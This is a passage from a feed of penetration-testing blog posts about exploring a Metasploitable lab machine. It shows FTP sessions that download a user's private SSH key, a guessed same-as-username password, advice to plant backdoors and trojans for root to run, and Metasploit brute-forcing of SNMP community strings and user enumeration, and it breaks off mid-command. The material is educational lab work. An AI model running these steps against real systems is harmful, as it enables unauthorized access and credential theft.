Download it.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ftp&amp;gt; cd .ssh&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;250 CWD command successful&lt;br /&gt;ftp&amp;gt; ls -lta&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening ASCII mode data connection for file list&lt;br /&gt;drwxr-xr-x   3 user     user         4096 Aug 24 21:59 ..&lt;br /&gt;drwx------   2 user     user         4096 May  7  2010 .&lt;br /&gt;-rw-------   1 user     user          668 May  7  2010 &lt;span class="Apple-style-span" style="color: red;"&gt;id_dsa&lt;/span&gt;&lt;br /&gt;-rw-r--r--   1 user     user          609 May  7  2010 &lt;span class="Apple-style-span" style="color: red;"&gt;id_dsa.pub&lt;/span&gt;&lt;br /&gt;226 Transfer complete&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ftp&amp;gt; get id_dsa&lt;br /&gt;local: id_dsa remote: id_dsa&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening BINARY mode data connection for id_dsa (668 bytes)&lt;br /&gt;226 Transfer complete&lt;br /&gt;668 bytes received in 0.00 secs (327.8 kB/s)&lt;br /&gt;ftp&amp;gt; get id_dsa.pub&lt;br /&gt;local: id_dsa.pub remote: id_dsa.pub&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening BINARY mode data connection for id_dsa.pub (609 bytes)&lt;br /&gt;226 Transfer complete&lt;br /&gt;609 bytes received in 0.00 secs (379.8 kB/s)&lt;br /&gt;ftp&amp;gt; bye&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;From .bash_history file, a new user '&lt;i&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;msfadmin&lt;/span&gt;&lt;/i&gt;' seems to be present on the target box.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;root@victor:tmp# cat bash_history-user&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ssh-keygen -t dsa&lt;br /&gt;ls&lt;br /&gt;cd .ssh&lt;br /&gt;ls&lt;br /&gt;sudo -s&lt;br /&gt;cd /home/user&lt;br /&gt;lsls .ss&lt;br /&gt;ls .ssj&lt;br /&gt;clear&lt;br /&gt;ls .ssh&lt;br /&gt;sudo cat ~/.ssh/id_dsa.pub &amp;gt;&amp;gt; /home/&lt;span class="Apple-style-span" style="color: lime;"&gt;msfadmin&lt;/span&gt;/.ssh/authorized_keys&lt;br /&gt;sudo -s&lt;br /&gt;exit&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;After brute forcing, it is confirmed that just like with previous 3 users, &lt;i&gt;msfadmin &amp;nbsp;&lt;/i&gt;is a joe account, meaning that the password is same as the user id -&amp;gt; &lt;i&gt;msfadmin&lt;/i&gt;. FTP login using msfadmin is successful.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt;ftp 172.72.5.143&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif; font-size: x-small;"&gt; Connected to 172.72.5.143.&lt;br /&gt;220 ProFTPD 1.3.1 Server (Debian) [::ffff:172.72.5.143]&lt;br /&gt;Name (172.72.5.143:victor): msfadmin&lt;br /&gt;331 Password required for msfadmin&lt;br /&gt;Password:&lt;br /&gt;230 User msfadmin logged in&lt;br /&gt;Remote system type is UNIX.&lt;br /&gt;Using binary mode to transfer files.&lt;br /&gt;ftp&amp;gt; ls -lat&lt;br /&gt;200 PORT command successful&lt;br /&gt;150 Opening ASCII mode data connection for file list&lt;br /&gt;-rw-------   1 msfadmin msfadmin      806 May 18  2010 .bash_history&lt;br /&gt;drwxr-xr-x   5 msfadmin msfadmin     4096 May 18  2010 .&lt;br /&gt;drwx------   2 msfadmin msfadmin     4096 May 18  2010 .ssh&lt;br /&gt;-rw-r--r--   1 msfadmin msfadmin        0 May  7  2010 .sudo_as_admin_successful&lt;br /&gt;-rw-------   1 msfadmin msfadmin       98 Apr 28  2010 .lesshst&lt;br /&gt;drwxr-xr-x   6 msfadmin msfadmin     4096 Apr 28  2010 vulnerable&lt;br /&gt;drwxr-xr-x   4 msfadmin msfadmin     4096 Apr 17  2010 .distcc&lt;br /&gt;drwxr-xr-x   6 root     root         4096 Apr 16  2010 ..&lt;br /&gt;-rw-r--r--   1 msfadmin msfadmin      586 Mar 16  2010 .profile&lt;br /&gt;226 Transfer complete&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;The user has Read/Write privileges using FTP service. Even though these users are non-root accounts, and have RW privs in their home directories, we have gained a foothold into the target. This is also applicable to other system / network services such as samba [ file sharing ] or ssh [ remote access ]. Using these accounts, it is now possible for us to explore the file system, configuration(s), set up, any specific software(s) / applications that are installed and may be vulnerable. Also a good idea is to upload backdoor / malware / trojan / privilege escalation exploit(s) on the server. The expectation is to wait for some user, usually root or root privileged user, to access these malicious exes and run them. Once the exe runs, depending upon its function, a variety of actions can be performed. Actions can include and are not limited to gaining shell, execute commands, sniff sensitive data off the wire and send the logs to the attacker, enumerate other systems in the network environment for further exploitation etc, and many more.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #ffd966; font-family: Verdana, sans-serif; font-size: x-small;"&gt;In a pentest, however, always document any changes you've made to the file system and remember to clean up exe, configuration changes etc, before you sign off for the day. Normally, the any changes by the pentester and associated risk must be discussed with customer and arrived at, in the Terms of Engagement.&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next &amp;nbsp;up --&amp;gt; &lt;b&gt;Exploring SSH service&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-1786344265667063634?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/1786344265667063634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ftp-service.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1786344265667063634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/1786344265667063634'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/metasploitable-exploring-ftp-service.html' title='Metasploitable - Exploring FTP service'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-374941130742332132</id><published>2011-08-18T05:45:00.001+05:30</published><updated>2011-08-18T05:46:03.354+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='snmpget'/><category scheme='http://www.blogger.com/atom/ns#' term='snmpenum'/><category scheme='http://www.blogger.com/atom/ns#' term='snmpset'/><category scheme='http://www.blogger.com/atom/ns#' term='snmp attack'/><category scheme='http://www.blogger.com/atom/ns#' term='Enumerating SNMP'/><category scheme='http://www.blogger.com/atom/ns#' term='snmpwalk'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit auxiliary'/><title type='text'>SNMP service enumeration</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;In a pentest, SNMP is very juicy service that can give deep insight into the target system &amp;amp; network.&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Metasploit has a number of auxiliary modules to help in enumerating SNMP on target host(s).&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;gt; search snmp&lt;br /&gt;Matching Modules&lt;br /&gt;================&lt;br /&gt;&amp;nbsp; &amp;nbsp;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Disclosure Date &amp;nbsp;Rank &amp;nbsp; &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; --------------- &amp;nbsp;---- &amp;nbsp; &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/aix_version &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;AIX SNMP Scanner Auxiliary Module&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/cisco_config_tftp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;Cisco IOS SNMP Configuration Grabber (TFTP)&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/cisco_upload_file &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;Cisco IOS SNMP File Upload (TFTP)&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/snmp_enum &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;normal &amp;nbsp;SNMP Enumeration Module&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/snmp_enumshares &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;SNMP Windows SMB Share Enumeration&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/snmp_enumusers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;SNMP Windows Username Enumeration&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/snmp_login &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; normal &amp;nbsp;SNMP Community Scanner&lt;br /&gt;&amp;nbsp; &amp;nbsp;auxiliary/scanner/snmp/snmp_set &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;normal &amp;nbsp;SNMP Set Module&lt;br /&gt;...snip...&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;We can start with brute forcing SNMP service to identify SNMP community strings.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;nbsp;auxiliary(snmp_enum) &amp;gt; use auxiliary/scanner/snmp/snmp_login&lt;br /&gt;msf &amp;nbsp;auxiliary(snmp_login) &amp;gt; show options&lt;br /&gt;Module options (auxiliary/scanner/snmp/snmp_login):&lt;br /&gt;&amp;nbsp; &amp;nbsp;Name &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Current Setting &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Required &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; &amp;nbsp;---- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;--------------- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; -------- &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; &amp;nbsp;BATCHSIZE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 256 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The number of hosts to probe in each set&lt;br /&gt;&amp;nbsp; &amp;nbsp;BLANK_PASSWORDS &amp;nbsp; true &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Try blank passwords for all users&lt;br /&gt;&amp;nbsp; &amp;nbsp;BRUTEFORCE_SPEED &amp;nbsp;5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; How fast to bruteforce, from 0 to 5&lt;br /&gt;&amp;nbsp; &amp;nbsp;CHOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 172.72.5.1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The local client address&lt;br /&gt;&amp;nbsp; &amp;nbsp;PASSWORD &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;The password to test&lt;br /&gt;&amp;nbsp; &amp;nbsp;PASS_FILE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /opt/metasploit_open/msf3/data/wordlists/snmp_default_pass.txt &amp;nbsp; &amp;nbsp;no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;File containing communities, one per line&lt;br /&gt;&amp;nbsp; &amp;nbsp;RHOSTS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;172.72.5.141 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target address range or CIDR identifier&lt;br /&gt;&amp;nbsp; &amp;nbsp;RPORT &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 161 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target port&lt;br /&gt;&amp;nbsp; &amp;nbsp;STOP_ON_SUCCESS &amp;nbsp; false &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; Stop guessing when a credential works for a host&lt;br /&gt;&amp;nbsp; &amp;nbsp;THREADS &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The number of concurrent threads&lt;br /&gt;&amp;nbsp; &amp;nbsp;USER_AS_PASS &amp;nbsp; &amp;nbsp; &amp;nbsp;true &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;no &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Try the username as the password for all users&lt;br /&gt;&amp;nbsp; &amp;nbsp;VERBOSE &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; true &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; Whether to print output for all attempts&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;nbsp;auxiliary(snmp_login) &amp;gt; run&lt;br /&gt;&lt;b&gt;[*] 172.72.5.141:161 - SNMP - Trying public...&lt;/b&gt;&lt;br /&gt;&lt;b&gt;[+] SNMP: 172.72.5.141 community string: 'public' info: 'Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)'&lt;/b&gt;&lt;br /&gt;[*] 172.72.5.141:161 - SNMP - Trying private...&lt;br /&gt;...&lt;br /&gt;&lt;b&gt;[+] SNMP: 172.72.5.141 community string: 'admin' info: 'Hardware: x86 Family 6 Model 15 Stepping 11 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)'&lt;/b&gt;&lt;br /&gt;...&lt;br /&gt;snip&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;[*] Validating scan results from 1 hosts...&lt;br /&gt;[*] Host 172.72.5.141 provides &lt;b&gt;READ-WRITE&lt;/b&gt; access with community '&lt;b&gt;admin&lt;/b&gt;'&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;We found 2 community strings - 1 default public [ public ] and 1 private [ admin ]. 'public' is a read-only string while 'admin' has read-write privileges.&lt;br /&gt;&lt;br /&gt;With this info, we can now go ahead and enumerate user accounts present on the target.&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;msf &amp;gt; info auxiliary/scanner/snmp/snmp_enumusers&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Name: SNMP Windows Username Enumeration&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Module: auxiliary/scanner/snmp/snmp_enumusers&lt;br /&gt;&amp;nbsp; &amp;nbsp; Version: 12107&lt;br /&gt;&amp;nbsp; &amp;nbsp; License: Metasploit Framework License (BSD)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Rank: Normal&lt;br /&gt;Provided by:&lt;br /&gt;&amp;nbsp; tebo &amp;lt;tebo@attackresearch.com&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Basic options:&lt;br /&gt;&amp;nbsp; Name &amp;nbsp; &amp;nbsp; &amp;nbsp; Current Setting &amp;nbsp;Required &amp;nbsp;Description&lt;br /&gt;&amp;nbsp; ---- &amp;nbsp; &amp;nbsp; &amp;nbsp; --------------- &amp;nbsp;-------- &amp;nbsp;-----------&lt;br /&gt;&amp;nbsp; COMMUNITY &amp;nbsp;public &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Community String&lt;br /&gt;&amp;nbsp; RETRIES &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Retries&lt;br /&gt;&amp;nbsp; RHOSTS &amp;nbsp; &amp;nbsp; 172.72.5.141 &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target address range or CIDR identifier&lt;br /&gt;&amp;nbsp; RPORT &amp;nbsp; &amp;nbsp; &amp;nbsp;161 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The target port&lt;br /&gt;&amp;nbsp; THREADS &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; The number of concurrent threads&lt;br /&gt;&amp;nbsp; TIMEOUT &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Timeout&lt;br /&gt;&amp;nbsp; VERSION &amp;nbsp; &amp;nbsp;1 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; yes &amp;nbsp; &amp;nbsp; &amp;nbsp; SNMP Version &amp;lt;1/2c&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Description:&lt;br /&gt;&amp;nbsp; This module will use LanManager OID values to enumerate local user&lt;br /&gt;&amp;nbsp; accounts on a Windows system via SNMP&lt;br /&gt;msf &amp;gt; use 